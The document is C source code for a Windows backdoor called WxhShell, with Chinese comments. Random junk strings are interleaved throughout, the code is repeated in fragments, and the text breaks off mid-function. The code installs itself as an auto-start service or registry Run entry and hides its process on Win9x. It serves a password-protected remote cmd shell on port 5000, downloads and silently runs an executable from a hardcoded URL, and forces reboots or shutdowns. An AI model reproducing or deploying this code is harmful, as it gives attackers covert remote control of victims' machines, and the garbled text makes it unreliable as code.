(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >L?)f3_a NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *""'v
uY5 &93R if (!NtQueryInformationProcess) return 0; FLY# [Fe`}F}Co8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *iS<]y if(!hProcess) return 0; G}mJtXT#= +r9:n(VP if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p_=^E*J] ptGM' CloseHandle(hProcess); ;7&RmIXKh' ~^=QBwDW8N hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4`)B@< if(hProcess==NULL) return 0; XbYW,a@w2 gPY2Bnw;l HMODULE hMod; D52ELr7 char procName[255]; <T:u&Ic unsigned long cbNeeded; OUn,URI R@t?!`f!+ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UO8#8 Z2`(UbG} CloseHandle(hProcess); o
<8L,u(U $zq`hI!1 if(strstr(procName,"services")) return 1; // 以服务启动 /r Zj= "YHqls} c return 0; // 注册表启动 31k.{dnm } C/ow{MxA 9f;\fe // 主模块 |"DQ^)3Pi int StartWxhshell(LPSTR lpCmdLine) Q u2W { QNzI SOCKET wsl; =dUeQ?>t= BOOL val=TRUE; azz6_qk8 int port=0; sCSrwsbhv struct sockaddr_in door; D_`MeqF}C )(b]-
) if(wscfg.ws_autoins) Install(); PoY+Y3 >F6'^9| port=atoi(lpCmdLine); pUZe.S>G D#508{) if(port<=0) port=wscfg.ws_port; $/nU0W B|gyr4] WSADATA data; uG&xtN8 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8a|p`)lT s2riayM9/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v7T05 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #rqLuqw door.sin_family = AF_INET; E"&fT!yi door.sin_addr.s_addr = inet_addr("127.0.0.1"); z'3 door.sin_port = htons(port); 2 Q,e1'= N|?"=4Z? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |/[?]` closesocket(wsl); jTaEaX8+ return 1; i}N'WV`! } ` *x;&.&v I/rq@27o if(listen(wsl,2) == INVALID_SOCKET) { *Ibl+ closesocket(wsl); $0V<wsVM return 1; O8TAc]B } ^k]OQc7q' Wxhshell(wsl); wqJ^tA! WSACleanup(); 4]u53` NMM0'tY~ return 0; rq Dre`m DG}t! } xq-R5(k
/=A^@&:_# // 以NT服务方式启动 6pM[.:TM VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \ $}^u5Y { |7 ]v&?y DWORD status = 0; BV"7Wp; DWORD specificError = 0xfffffff; +DaPXZ5. l4u_Z:<w serviceStatus.dwServiceType = SERVICE_WIN32; rePJ4i [y serviceStatus.dwCurrentState = SERVICE_START_PENDING; {<o_6 z`$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rR&; 2 serviceStatus.dwWin32ExitCode = 0; M%5qx,JQY serviceStatus.dwServiceSpecificExitCode = 0; nAG2!2_8 serviceStatus.dwCheckPoint = 0; Y` Oz\W serviceStatus.dwWaitHint = 0; XzgJ@ 9^QiFgJy hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v^0D if (hServiceStatusHandle==0) return; <XiHQ
B! R$k4}p status = GetLastError(); o(Yfnnuy if (status!=NO_ERROR) !E8y!|7$ { v\PqhI y" serviceStatus.dwCurrentState = SERVICE_STOPPED; A}?n.MAX> serviceStatus.dwCheckPoint = 0; zs:OHEZw serviceStatus.dwWaitHint = 0; :{bvCos<) serviceStatus.dwWin32ExitCode = status; #mLF6"A serviceStatus.dwServiceSpecificExitCode = specificError; u6Fm
qK]Dj SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pky/fF7e return; RTHD2 } A^nB!veh SB0Cq serviceStatus.dwCurrentState = SERVICE_RUNNING; =7wI/5iN serviceStatus.dwCheckPoint = 0; l8 k@.<nCO serviceStatus.dwWaitHint = 0; t Sran if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9`]Gosz } ~VYZu=p q">lP(t // 处理NT服务事件,比如:启动、停止 *UhYX)J VOID WINAPI NTServiceHandler(DWORD fdwControl) uOUgU$%zqH { UJMM& switch(fdwControl) s.`:9nj { ?-%Q[W case SERVICE_CONTROL_STOP: #N9^C@ serviceStatus.dwWin32ExitCode = 0; `dekaRo serviceStatus.dwCurrentState = SERVICE_STOPPED; smaPZ^;; j serviceStatus.dwCheckPoint = 0; Fv$5Zcf serviceStatus.dwWaitHint = 0; &~)PB
| { zrVw l\& SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,|6O}E&
} FFX-kS return; 0=O(+
yi case SERVICE_CONTROL_PAUSE: wd*8w$\ serviceStatus.dwCurrentState = SERVICE_PAUSED; 9"hH2jc
break; djJD'JL case SERVICE_CONTROL_CONTINUE: Ey96XJV serviceStatus.dwCurrentState = SERVICE_RUNNING; F|pM$Kd` break; 2*;qr|h, case SERVICE_CONTROL_INTERROGATE: `Cq&;-u break; 9'+Eu)l: }; "g27|e?y SetServiceStatus(hServiceStatusHandle, &serviceStatus); ._'AJhU$0 } z,dh?%H>X hS&3D6Gt // 标准应用程序主函数 #$W02L8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0T,uH { /2z, ?,jL OBY^J1St // 获取操作系统版本 )+ifVv50 OsIsNt=GetOsVer(); j'r"_*% GetModuleFileName(NULL,ExeFile,MAX_PATH); 4P(muOS X.}i9a
6 // 从命令行安装 /c2|
*"@X if(strpbrk(lpCmdLine,"iI")) Install(); JC6?*R q[?xf3 // 下载执行文件 h [*/Tnr if(wscfg.ws_downexe) { `%S 35x9 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -wr#.8rzTT WinExec(wscfg.ws_filenam,SW_HIDE); "3 Y(uN } wr);+.T9R ]M3V]m if(!OsIsNt) { y
buKwZFC // 如果时win9x,隐藏进程并且设置为注册表启动 EZs"?A HideProc(); zI-]K,! StartWxhshell(lpCmdLine); >u?m
Bx } +/O3L=QyJ else (U@Ks ) if(StartFromService()) _EPfeh; // 以服务方式启动 ;::]R'F[ StartServiceCtrlDispatcher(DispatchTable); |m{u]9 else zm>^!j
! // 普通方式启动 l9{}nz StartWxhshell(lpCmdLine); P=3mLz- suOWmqLs return 0; ,bTpD! } d{/#A%. |k.%e4 }ejZk
bP tKS'#y!R =========================================== $'*q]] B^;"<2b* + /+> : P;8nC:z L e|-&h `[ 3uXRS,C " Nyx)&T&I *jQ?(Tf #include <stdio.h> (>.lkR #include <string.h> z]+&kNm #include <windows.h> X,xCR]+5S #include <winsock2.h> d#8 n<NM #include <winsvc.h> -v %n@8p #include <urlmon.h> px${
"K< .9NYa |+0 #pragma comment (lib, "Ws2_32.lib") n2A
;
`= #pragma comment (lib, "urlmon.lib") k\76`!B }G/!9Zq #define MAX_USER 100 // 最大客户端连接数 UaCfXTG #define BUF_SOCK 200 // sock buffer ldFR%v>9 #define KEY_BUFF 255 // 输入 buffer zgNzdO/B =;Q:z^S #define REBOOT 0 // 重启 3xIelTf* #define SHUTDOWN 1 // 关机 /7N&4FrG }3O 0nab #define DEF_PORT 5000 // 监听端口 qdnwaJ;& &J?:wC=E #define REG_LEN 16 // 注册表键长度 /hN;\Z[@ #define SVC_LEN 80 // NT服务名长度 v<3KxP'a Y_zMj`HE // 从dll定义API xovsh\s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MxgJ+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zq(4@S-TU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *^oL$_Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z% DJ{!Hnh @{>0v"@ // wxhshell配置信息 pC~M5(F_ struct WSCFG { %?hvN int ws_port; // 监听端口 y{KYR) char ws_passstr[REG_LEN]; // 口令 q6PG=9d0B int ws_autoins; // 安装标记, 1=yes 0=no S4U}u l char ws_regname[REG_LEN]; // 注册表键名 [H[L};%=j char ws_svcname[REG_LEN]; // 服务名 KAJR.YNm char ws_svcdisp[SVC_LEN]; // 服务显示名 5) q_Aro char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;kzjx%h char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nIr:a|}[ int ws_downexe; // 下载执行标记, 1=yes 0=no =Y- .=}jp; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5OCt Q4u char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $b~[>S-Q XL[Dmu& }; %Q]3`kxp ^H0#2hFa // default Wxhshell configuration OO2uE ;( 3 struct WSCFG wscfg={DEF_PORT, 'NMO>[. "xuhuanlingzhe", O9P+S|hcY 1, Zg%tN#6y "Wxhshell", n:[@#xs- "Wxhshell", @>,GCuPrm "WxhShell Service", VOJ/I Dl 4 "Wrsky Windows CmdShell Service", #;[0:jU0 "Please Input Your Password: ", h/Yxm2 1,
kRjNz~g "http://www.wrsky.com/wxhshell.exe", &,P; 7 R "Wxhshell.exe" a&2UDl% K }; [vY#9W"! ]Cs=EZr // 消息定义模块 WG&! VK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9W0*|!tQ,+ char *msg_ws_prompt="\n\r? for help\n\r#>"; dS8ydG2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _7z]zy@PC5 char *msg_ws_ext="\n\rExit."; {O:{F? char *msg_ws_end="\n\rQuit."; aGd
wuD char *msg_ws_boot="\n\rReboot..."; j1;<3)%0 char *msg_ws_poff="\n\rShutdown..."; DRpFEWsm char *msg_ws_down="\n\rSave to "; >F>VlRg km*Y#`{ char *msg_ws_err="\n\rErr!"; KL6B!B{; char *msg_ws_ok="\n\rOK!"; 2!6E~<~HC d>?C?F char ExeFile[MAX_PATH]; 9Fy'L#% int nUser = 0; le'
Kp
V
HANDLE handles[MAX_USER]; OwT _W)$ int OsIsNt; A=0{}B# Y7zs)W8xTT SERVICE_STATUS serviceStatus; LZb<-vK"y SERVICE_STATUS_HANDLE hServiceStatusHandle; 3%+!qm {P_i5V? // 函数声明 X}xf_3N
" int Install(void); wH$qj'G4CN int Uninstall(void);
wz)s int DownloadFile(char *sURL, SOCKET wsh); _Vl~'+ e int Boot(int flag); x`c7*q% void HideProc(void); 1tq ^W' int GetOsVer(void); eR,/}g\ int Wxhshell(SOCKET wsl); c4u/tt.) void TalkWithClient(void *cs); }L(ZLt8Q int CmdShell(SOCKET sock); Y0Tad?iC int StartFromService(void); a4.w2GR int StartWxhshell(LPSTR lpCmdLine); n"`V|
UTHP gD51N()s, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R[14scV VOID WINAPI NTServiceHandler( DWORD fdwControl ); P z~jW):E #IZ.px // 数据结构和表定义 ZH|q#<{l SERVICE_TABLE_ENTRY DispatchTable[] = 2{.g7bO { &XV9_{Hm {wscfg.ws_svcname, NTServiceMain}, =IW!ZN_ {NULL, NULL} ^r-d.1 }; Qu1&$oO v)T#
iw[ // 自我安装 B~E">}=! int Install(void) @dk-+YxG { h
(q,T$7W char svExeFile[MAX_PATH]; +SF+$^T HKEY key; '#yqw% strcpy(svExeFile,ExeFile); >DUTmJxv n
7i5A: // 如果是win9x系统,修改注册表设为自启动 0TaI"/ai if(!OsIsNt) { ;<q2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !d<R=L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~&<t++ g RegCloseKey(key); = if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IA<>+NS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .8Bu%Sf RegCloseKey(key); 9tU"+ return 0; O Bcz'f~ } NTD1QJ } zBl L98 } q01 L{~>bz else { ;py9,Wno @!=Ds'MJC // 如果是NT以上系统,安装为系统服务 &ocuZ-5` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JRi:MWR<r if (schSCManager!=0) Pc*lHoVL { S't9F SC_HANDLE schService = CreateService c+&Kq.~K ( ?$K-f:?c schSCManager, V]; i$ wscfg.ws_svcname, }2@Z{5sh) wscfg.ws_svcdisp, |,@D< SERVICE_ALL_ACCESS, MOK}:^bSu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O-HS)g$2 SERVICE_AUTO_START, &BLCP d SERVICE_ERROR_NORMAL, J}&U[ds p svExeFile, ,{!,%]bC NULL, :>.{w$Ln% NULL, nKzm.D gt_ NULL, %-yzU/`JF NULL, r&m49N,d NULL I]`RvT ); |YsR;=6wT if (schService!=0) :P}3cl_ { :Rb\Ca CloseServiceHandle(schService); j&,Gv@ CloseServiceHandle(schSCManager); {N>ju strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `@
YV strcat(svExeFile,wscfg.ws_svcname); sBB[u'h! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?tY+P`S RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u>)h RegCloseKey(key); ']TWWwj$ return 0;
P4q5#r } u+Ix''Fn#% } dkz%
Y] CloseServiceHandle(schSCManager); /M%>M] } ,IyQmN y } (ne[a2%> a51e~mg Z` return 1; !Pw*p*z } |J,zU6t aSvv(iV // 自我卸载 !Z tqh Xr int Uninstall(void) _]OY[&R { QZ l#^-on HKEY key; tO{{ci$-T zI4rAsysL if(!OsIsNt) { y
Ne?a{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5aizWz RegDeleteValue(key,wscfg.ws_regname); T8a' 6otc RegCloseKey(key); y<kUGsD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +Q u.86dH RegDeleteValue(key,wscfg.ws_regname); M i& ;1!bg RegCloseKey(key); ]B,tCBt return 0; 9 Gd6/2 } >lV,K1Z } salC4z3 } ySr,HXz else { EW*sTI3 v1 8<~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @w8}]S if (schSCManager!=0) w2.]
3QAZ { .qSDe+A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u:f ]|Q if (schService!=0) `Y:]&w { PP$sdmo if(DeleteService(schService)!=0) { (M$0'BV0 CloseServiceHandle(schService); UsyNn39 CloseServiceHandle(schSCManager); Ob/)f)!! return 0; y017
B<Ou } 6?F88;L CloseServiceHandle(schService); &N^~=y^`C' } 3_)I&RM CloseServiceHandle(schSCManager); ?9()ya-TE } UON=7}=$& } = g{I`u %PYO9:n return 1; :s_>y_=g } K>DN6{hnV; Cq!eAc // 从指定url下载文件 FE\E%_K'n7 int DownloadFile(char *sURL, SOCKET wsh) kw$7G1Q { ~{I.qv)>M~ HRESULT hr; d <}'eBT' char seps[]= "/"; kM506U<g char *token; TI DgIK char *file; D!~ Y"4< char myURL[MAX_PATH]; btuG%D{a^ char myFILE[MAX_PATH]; Bib<ySCre mcV<)UA} strcpy(myURL,sURL); m`-);y token=strtok(myURL,seps); BuV71/Vb{Q while(token!=NULL) ~pRgTXbz { #SHeK 4 file=token; RxMsP;be token=strtok(NULL,seps); *)Qv;'U=rn } Z6zV 9hn @3?>[R GetCurrentDirectory(MAX_PATH,myFILE); XL n9NBT4K strcat(myFILE, "\\"); ==[=Da~ strcat(myFILE, file); ZRxOXt&; send(wsh,myFILE,strlen(myFILE),0); ?$6H',u send(wsh,"...",3,0); T#Z&* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rw'+2\ if(hr==S_OK) '(5GRI< return 0; GM6,LzH else ELCNf return 1; 3%+~"4& "Au4&Fu } KrpIH6 *&I>3;~%^} // 系统电源模块 Ljd`)+`D int Boot(int flag) |/gt;H~:
{ eB5>uKa HANDLE hToken; mU #F> TOKEN_PRIVILEGES tkp; +X/a+y- 5*%Gh&) if(OsIsNt) { x]c8?H9,& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ocdy;|& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yl-:9|LT tkp.PrivilegeCount = 1; }/a%-07R tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |'?vlUCd AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UGPDwgq\v if(flag==REBOOT) { Vu5?;|^: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :oIBJ u%/ return 0; %)lp]Y33 } 3IMvtg else { [
\_o_W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) : .x((
FU return 0; "|8oFf)l@B } aO&U=! } 5%Qxx\q else { *2zp>(% if(flag==REBOOT) { BmX'%5ho if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XGSFG~d return 0; 072C!F } gs'M^|e) else { -%`~3*L if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w jkh*Y return 0; [Fr](&Tx } /w?e(v< } KOy{? lMY\8eobcB return 1; '3>;8(sl } XKjrS
9: Ljy797{f // win9x进程隐藏模块 .t@|2 void HideProc(void) t$!zgUJ { nONuw;K rt+4-WuK> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~~/,2^ if ( hKernel != NULL ) RAO+<m { c<$<n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *igmi9A ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J p=qPG| FreeLibrary(hKernel); ?J:w,,4m } <[db)r~c vywB{%p return; ZexC3LD" } cI2Ps3~"Q o+1(N#?m9 // 获取操作系统版本 Y7t#)? int GetOsVer(void) A 6S0dX { ='m$O OSVERSIONINFO winfo; /z-rBfdy^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S8#0Vo$)a GetVersionEx(&winfo); 9\_s&p=:. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Clum
m@z;# return 1; P =X]'m_B else $Z G&d return 0; ?Q]&;5o } GY$Rkg6d FSEf0@O: // 客户端句柄模块 W> pe- int Wxhshell(SOCKET wsl) JqzoF}WH { rRe5Q SOCKET wsh; f-F=!^. struct sockaddr_in client; +fVv H DWORD myID; 1bV
G%N D:@W*, while(nUser<MAX_USER) #`SAc`:n { JQM_96\ int nSize=sizeof(client); _BewaI;w wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wo`.sB&T if(wsh==INVALID_SOCKET) return 1; 8:TX9`, 7:UeE~uB: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d7V/#34 if(handles[nUser]==0) s 4`-mIa closesocket(wsh); G+c&e:ip< else tYD8Y nUser++; ^OV; P[ } P'<i3#;7X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `
i[26Qb 1TZ[i return 0; S F)$b } u2#q7} #&|"t<} // 关闭 socket H:(B^uH void CloseIt(SOCKET wsh) M1Q&)am { |P5dv>tb
F closesocket(wsh); Oa/^A-'Q nUser--; +p\E%<uQ ExitThread(0); @D9O<x } zB%~=@Q^6 0!\gK<,z // 客户端请求句柄 \lK?f] qJq void TalkWithClient(void *cs) L~&S<5? { ,Q"'q0hM= k[x-O?$O@ SOCKET wsh=(SOCKET)cs; Z 8w\[AF{$ char pwd[SVC_LEN]; KGgtEh| char cmd[KEY_BUFF]; *ra)u- char chr[1]; ]t0o%w int i,j; 5Dkb/Iagi s@L ;3WdO while (nUser < MAX_USER) { #*A&jo'E LDg9@esi if(wscfg.ws_passstr) { &E`Nu (e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q`bXsH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5p.rd0T]l3 //ZeroMemory(pwd,KEY_BUFF); )?72 +X i=0; eCI'<^ while(i<SVC_LEN) { P`Zon u$JAjA // 设置超时 "Da1BuX\ fd_set FdRead; T, #-: } struct timeval TimeOut; ika*w FD_ZERO(&FdRead); E]#;K-j FD_SET(wsh,&FdRead); <J^5l0)q TimeOut.tv_sec=8; \6
\bD< TimeOut.tv_usec=0; ,3?=W/Um4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "r6qFxY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]>~.U~ RC7F/|w.z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dC6>&@
VX pwd=chr[0]; I!/EQO| if(chr[0]==0xd || chr[0]==0xa) { %E%=Za pwd=0; O8Mypv/C break;
m}yu4 } QbdXt%gZe i++; dg|+?M^9` } g+o$&'\ rai'x/Ut}+ // 如果是非法用户,关闭 socket !8p>4 |VM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xI<l1@ } 'wPX.h? ^$oa`B^2JM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Apu-9|oP send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]:f.=" ^?e[$} while(1) { 91z=ou jZIT[HM ZeroMemory(cmd,KEY_BUFF); cs2-jbRn 72|g zm // 自动支持客户端 telnet标准 _L8&.=4]i j=0; 7}xQ4M\u$ while(j<KEY_BUFF) { \0|x<~#j' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Shy^58$ cmd[j]=chr[0]; jO"/5x26 if(chr[0]==0xa || chr[0]==0xd) { +/&rO,Ql cmd[j]=0; @C-dCC? break; }<G
ae5 } (lwV(M j++; `pbCPa{Y } D0#U*tq;
k[mp( // 下载文件 Z(:\Vj" if(strstr(cmd,"http://")) { (B\Kb4m send(wsh,msg_ws_down,strlen(msg_ws_down),0); y1 a%f.F` if(DownloadFile(cmd,wsh)) zDYJe_m ~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); =F[M>o else !wAnsK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R.|h<bur } ,%yC4 else { kYS#P(1 @%g:'^/ switch(cmd[0]) { _Nh])p- oxFd@WV5 // 帮助
e$ case '?': { >%"TrAt send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pYCMJK-H break; {X,-T& } Rq15AR // 安装 z .lb(xQ case 'i': { >$}Mr%49 if(Install()) Le~D"d8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); o< b else djf8FNnn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fwtsr>SV break; `mkOjsj & } :V8oWMY // 卸载 :TrP3wV_ case 'r': { '\H
& EJ' if(Uninstall()) >a@1y8B send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ DLxIe else r(]Gd`] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U;&s=M0[ break; ;Qd'G7+ } H"+|n2E^ // 显示 wxhshell 所在路径
H|s Iw: case 'p': { W*H %\Y:N char svExeFile[MAX_PATH]; 6jr}l strcpy(svExeFile,"\n\r"); O0^Y1l strcat(svExeFile,ExeFile); 5UL5C:3R9 send(wsh,svExeFile,strlen(svExeFile),0); `iuQ.I break; 3 }
$9./+ } M|{KQ3q:9 // 重启 TbMlYf]It case 'b': { +SV!QMIg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &hpznIN if(Boot(REBOOT)) ]I~BgE;C9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5'Mw{` else { U&kdR+dB closesocket(wsh); k="wEZ;Q ExitThread(0); L #vk77 } bN*zx)f break; }2y"F@{T } a6T!)g // 关机 ;XY#Jl>tg case 'd': { I<lkociUCG send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yj,+7[) if(Boot(SHUTDOWN)) v]drDVJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yaj1nq!*" else { w2"]%WS % closesocket(wsh); 7<Ut/1$MI ExitThread(0); ohXbA9&(x } :)_P7k`>e/ break; Ft2ZZ<As
} yOjTiVQ9 // 获取shell .R+n}>+K case 's': { #$t93EI CmdShell(wsh); ZCuh^ closesocket(wsh); {flxZ} ExitThread(0); hEFn> break; A|L-;P NP } nNM)rW // 退出 "^pF2JI case 'x': { XK
l3B=h send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9OF(UFgS CloseIt(wsh); (j}Wt8 break; i#lO{ ] } t;%MSedn // 离开 AK;G_L case 'q': { Lp||C@h~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); wd:SBU~f5* closesocket(wsh); vP<8,XG WSACleanup(); \]/6>yT exit(1); \4q1<j break; (P:.@P~ } 5#? HL } 9T;l* } QEL3b4Vm 1K$8F ~%Z // 提示信息 47/YDy% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Se5jxV } LTY(6we- } S1$& V,9UOC,Gn return; BI)$aR } ErMA$UkJ ;@u+b0
j // shell模块句柄 8>^O]5Wo`X int CmdShell(SOCKET sock) _Ai\XS
Am { tdRnRoB STARTUPINFO si; 5E|/n( ZeroMemory(&si,sizeof(si)); T;I>5aQ:q4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /?8rj3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s2+s1%^Ll PROCESS_INFORMATION ProcessInfo; H"g
p char cmdline[]="cmd"; ,e>N9\* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (OK;*ZH+T@ return 0; G0h7MO%x } blB00 4[]4KKO3Q2 // 自身启动模式 @xtfm.} int StartFromService(void) au1(.( { C@
z^{Z+ typedef struct \xaK?_hv { g*#.yC1/ DWORD ExitStatus; gTP0: DWORD PebBaseAddress; {@[z-)N7\, DWORD AffinityMask; Z4Qq#iHZR DWORD BasePriority; 5AT[1@H(_ ULONG UniqueProcessId; ?\Jl] {i2 ULONG InheritedFromUniqueProcessId; ZA4vQDW } PROCESS_BASIC_INFORMATION; n.xW"omN ?g'? Ou PROCNTQSIP NtQueryInformationProcess; *e05{C:kS "(d7:!% static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -z4pI= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9a9{OJa6M UYb:q HANDLE hProcess; y|%rW PROCESS_BASIC_INFORMATION pbi; h|1 /Q
( JuT~~Z HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :AB$d~${M> if(NULL == hInst ) return 0; 13P8Zmco B[O1^jdO g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #}!Ge g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1e#}+i!a NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $McVK>= 3v%V\kO=F if (!NtQueryInformationProcess) return 0; cA4xx^~ 7].FdjT. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W`-AN}C# if(!hProcess) return 0; !8O*)=RA +H~})PeQ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3Ga!) y\&`A:^[ A CloseHandle(hProcess); 9q-9UC!g _YW1Mk1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7,2bR if(hProcess==NULL) return 0; Ie~#k[X J_A5,K*r| HMODULE hMod; #}W^d^-5t5 char procName[255]; =X11x)]F9 unsigned long cbNeeded; RscU=oaKi 0)'^vJe if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q_F8u!qrZ Q=%1@ ,x" CloseHandle(hProcess); ~sSlfQWMzy 0ZXG{Gp9S if(strstr(procName,"services")) return 1; // 以服务启动 tPHDnh^n] \]W*0t>s return 0; // 注册表启动 C<\|4ERp } G_~w0r# g3(fhfR'RN // 主模块 x%JtI'sg int 